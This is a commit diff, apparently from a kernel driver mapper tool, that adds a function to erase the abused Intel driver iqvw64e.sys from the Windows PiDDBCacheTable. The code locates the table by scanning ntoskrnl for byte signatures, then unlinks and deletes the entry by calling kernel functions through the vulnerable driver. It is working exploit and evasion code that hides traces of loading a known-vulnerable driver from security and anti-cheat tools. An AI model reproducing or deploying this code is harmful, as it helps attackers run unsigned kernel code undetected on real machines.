Implement clearing of PiDDBCacheTable
This commit is contained in:
@@ -37,6 +37,7 @@ void intel_driver::Unload(HANDLE device_handle)
|
||||
std::cout << "[<] Unloading vulnerable driver" << std::endl;
|
||||
|
||||
ClearMmUnloadedDrivers(device_handle);
|
||||
ClearPiDDBCacheTable(device_handle);
|
||||
CloseHandle(device_handle);
|
||||
|
||||
service::StopAndRemove(driver_name);
|
||||
@@ -367,4 +368,177 @@ bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
bool LocatePiDDB(HANDLE device_handle, uint64_t* lock, uint64_t* table) {
|
||||
auto kernel_base = utils::GetKernelModuleAddress("ntoskrnl.exe");
|
||||
if (!kernel_base)
|
||||
return false;
|
||||
|
||||
IMAGE_DOS_HEADER dos_header;
|
||||
intel_driver::ReadMemory(device_handle, kernel_base, &dos_header, sizeof(dos_header));
|
||||
if (dos_header.e_magic != IMAGE_DOS_SIGNATURE)
|
||||
return false;
|
||||
|
||||
IMAGE_NT_HEADERS nt_headers;
|
||||
intel_driver::ReadMemory(device_handle, kernel_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers));
|
||||
if (nt_headers.Signature != IMAGE_NT_SIGNATURE)
|
||||
return false;
|
||||
|
||||
std::vector<uint8_t> ntoskrnl_file(nt_headers.OptionalHeader.SizeOfImage);
|
||||
if (!intel_driver::ReadMemory(device_handle, kernel_base, ntoskrnl_file.data(), nt_headers.OptionalHeader.SizeOfImage))
|
||||
return false;
|
||||
|
||||
auto lock_sig = utils::FindPatternInVector(ntoskrnl_file, "48 8D 0D ? ? ? ? E8 ? ? ? ? 48 8B 0D ? ? ? ? 33 DB");
|
||||
if (!lock_sig)
|
||||
return false;
|
||||
|
||||
auto table_sig = utils::FindPatternInVector(ntoskrnl_file, "48 8D 0D ? ? ? ? E8 ? ? ? ? 3D ? ? ? ? 0F 83 ? ? ? ?");
|
||||
if (!table_sig)
|
||||
return false;
|
||||
|
||||
int lock_rel_addr;
|
||||
if (!intel_driver::ReadMemory(device_handle, kernel_base + lock_sig + 3, &lock_rel_addr, sizeof(lock_rel_addr)))
|
||||
return false;
|
||||
|
||||
int table_rel_addr;
|
||||
if (!intel_driver::ReadMemory(device_handle, kernel_base + table_sig + 3, &table_rel_addr, sizeof(table_rel_addr)))
|
||||
return false;
|
||||
|
||||
auto lock_addr = lock_sig + lock_rel_addr + 7;
|
||||
auto table_addr = table_sig + table_rel_addr + 7;
|
||||
|
||||
*lock = kernel_base + lock_addr;
|
||||
*table = kernel_base + table_addr;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) {
|
||||
uint64_t piddb_lock;
|
||||
uint64_t piddb_cache_table;
|
||||
if (!LocatePiDDB(device_handle, &piddb_lock, &piddb_cache_table))
|
||||
return false;
|
||||
|
||||
// build lookup entry
|
||||
nt::PiDDBCacheEntry lookup_entry{};
|
||||
RtlInitUnicodeString(&lookup_entry.DriverName, L"iqvw64e.sys");
|
||||
lookup_entry.TimeDateStamp = 0x5284EAC3;
|
||||
|
||||
// lock the table for safety
|
||||
if (!ExAcquireResourceExclusiveLite(device_handle, piddb_lock, TRUE))
|
||||
return false;
|
||||
|
||||
auto found_entry = (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, piddb_cache_table, &lookup_entry);
|
||||
if (!found_entry) {
|
||||
ExReleaseResourceLite(device_handle, piddb_lock);
|
||||
return false;
|
||||
}
|
||||
|
||||
// remove the entry from the list
|
||||
if (!RemoveEntryList(device_handle, &found_entry->List)) {
|
||||
ExReleaseResourceLite(device_handle, piddb_lock);
|
||||
return false;
|
||||
}
|
||||
|
||||
// remove the entry from the table
|
||||
if (!RtlDeleteElementGenericTableAvl(device_handle, piddb_cache_table, &found_entry)) {
|
||||
ExReleaseResourceLite(device_handle, piddb_lock);
|
||||
return false;
|
||||
}
|
||||
|
||||
// unlock the table
|
||||
ExReleaseResourceLite(device_handle, piddb_lock);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void* intel_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer)
|
||||
{
|
||||
if (!table || !buffer)
|
||||
return 0;
|
||||
|
||||
static uint64_t kernel_RtlLookupElementGenericTableAvl = 0;
|
||||
|
||||
if (!kernel_RtlLookupElementGenericTableAvl)
|
||||
kernel_RtlLookupElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlLookupElementGenericTableAvl");
|
||||
|
||||
void* result = 0;
|
||||
|
||||
if (!CallKernelFunction(device_handle, &result, kernel_RtlLookupElementGenericTableAvl, table, buffer))
|
||||
return 0;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer)
|
||||
{
|
||||
if (!table || !buffer)
|
||||
return false;
|
||||
|
||||
static uint64_t kernel_RtlDeleteElementGenericTableAvl = false;
|
||||
|
||||
if (!kernel_RtlDeleteElementGenericTableAvl)
|
||||
kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "RtlDeleteElementGenericTableAvl");
|
||||
|
||||
bool result = false;
|
||||
|
||||
if (!CallKernelFunction(device_handle, &result, kernel_RtlDeleteElementGenericTableAvl, table, buffer))
|
||||
return 0;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, uint64_t resource, BOOLEAN wait)
|
||||
{
|
||||
if (!resource)
|
||||
return false;
|
||||
|
||||
static uint64_t kernel_ExAcquireResourceExclusiveLite = false;
|
||||
|
||||
if (!kernel_ExAcquireResourceExclusiveLite)
|
||||
kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAcquireResourceExclusiveLite");
|
||||
|
||||
bool result = false;
|
||||
|
||||
if (!CallKernelFunction(device_handle, &result, kernel_ExAcquireResourceExclusiveLite, resource, wait))
|
||||
return 0;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
void intel_driver::ExReleaseResourceLite(HANDLE device_handle, uint64_t resource)
|
||||
{
|
||||
if (!resource)
|
||||
return;
|
||||
|
||||
static uint64_t kernel_ExReleaseResourceLite = false;
|
||||
|
||||
if (!kernel_ExReleaseResourceLite)
|
||||
kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExReleaseResourceLite");
|
||||
|
||||
CallKernelFunction<void>(device_handle, nullptr, kernel_ExReleaseResourceLite, resource);
|
||||
}
|
||||
|
||||
bool intel_driver::RemoveEntryList(HANDLE device_handle, PLIST_ENTRY Entry)
|
||||
{
|
||||
constexpr auto flink_offset = offsetof(LIST_ENTRY, Flink);
|
||||
constexpr auto blink_offset = offsetof(LIST_ENTRY, Blink);
|
||||
|
||||
PLIST_ENTRY flink;
|
||||
PLIST_ENTRY blink;
|
||||
|
||||
if (!ReadMemory(device_handle, (uint64_t)Entry + flink_offset, &flink, sizeof(flink)))
|
||||
return false;
|
||||
|
||||
if (!ReadMemory(device_handle, (uint64_t)Entry + blink_offset, &blink, sizeof(blink)))
|
||||
return false;
|
||||
|
||||
if (!WriteMemory(device_handle, (uint64_t)blink + flink_offset, &flink, sizeof(flink)))
|
||||
return false;
|
||||
|
||||
if (!WriteMemory(device_handle, (uint64_t)flink + blink_offset, &blink, sizeof(blink)))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -77,6 +77,14 @@ namespace intel_driver
|
||||
uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
|
||||
bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address);
|
||||
bool ClearMmUnloadedDrivers(HANDLE device_handle);
|
||||
bool ClearPiDDBCacheTable(HANDLE device_handle);
|
||||
|
||||
void* RtlLookupElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer);
|
||||
bool RtlDeleteElementGenericTableAvl(HANDLE device_handle, uint64_t table, void* buffer);
|
||||
bool ExAcquireResourceExclusiveLite(HANDLE device_handle, uint64_t resource, BOOLEAN wait);
|
||||
void ExReleaseResourceLite(HANDLE device_handle, uint64_t resource);
|
||||
|
||||
bool RemoveEntryList(HANDLE device_handle, PLIST_ENTRY Entry);
|
||||
|
||||
template<typename T, typename ...A>
|
||||
bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments)
|
||||
|
||||
@@ -76,4 +76,21 @@ namespace nt
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
|
||||
|
||||
typedef struct _RTL_BALANCED_LINKS
|
||||
{
|
||||
struct _RTL_BALANCED_LINKS* Parent;
|
||||
struct _RTL_BALANCED_LINKS* LeftChild;
|
||||
struct _RTL_BALANCED_LINKS* RightChild;
|
||||
CHAR Balance;
|
||||
UCHAR Reserved[3];
|
||||
} RTL_BALANCED_LINKS, * PRTL_BALANCED_LINKS;
|
||||
|
||||
struct PiDDBCacheEntry {
|
||||
LIST_ENTRY List;
|
||||
UNICODE_STRING DriverName;
|
||||
ULONG TimeDateStamp;
|
||||
NTSTATUS LoadStatus;
|
||||
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
|
||||
};
|
||||
}
|
||||
@@ -65,4 +65,32 @@ uint64_t utils::GetKernelModuleAddress(const std::string& module_name)
|
||||
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t utils::FindPatternInVector(const std::vector<uint8_t>& vector, const std::string& pattern) {
|
||||
using sig_byte = std::pair<uint8_t, bool>;
|
||||
std::vector<sig_byte> sig;
|
||||
|
||||
for (auto i = 0; i < pattern.length() - 1; i += 2) {
|
||||
if (pattern[i] == '?') {
|
||||
sig.emplace_back(std::make_pair('\x00', true));
|
||||
}
|
||||
else {
|
||||
sig.emplace_back(std::make_pair((uint8_t)std::stoi(pattern.substr(i, 2), nullptr, 16), false));
|
||||
i++;
|
||||
}
|
||||
}
|
||||
|
||||
auto offset = std::search(
|
||||
vector.begin(),
|
||||
vector.end(),
|
||||
sig.begin(), sig.end(),
|
||||
[](uint8_t current_byte, sig_byte current_sig_byte) {
|
||||
// if wildcard or matching
|
||||
return current_sig_byte.second || (current_byte == current_sig_byte.first);
|
||||
});
|
||||
|
||||
std::vector<uint8_t> result(offset, offset + sig.size());
|
||||
|
||||
return offset == vector.end() ? 0 : std::distance(vector.begin(), offset);
|
||||
}
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <algorithm>
|
||||
|
||||
#include "nt.hpp"
|
||||
|
||||
@@ -14,4 +15,5 @@ namespace utils
|
||||
bool ReadFileToMemory(const std::string& file_path, std::vector<uint8_t>* out_buffer);
|
||||
bool CreateFileFromMemory(const std::string& desired_file_path, const char* address, size_t size);
|
||||
uint64_t GetKernelModuleAddress(const std::string& module_name);
|
||||
uint64_t FindPatternInVector(const std::vector<uint8_t>& vector, const std::string& pattern);
|
||||
}
|
||||
Reference in New Issue
Block a user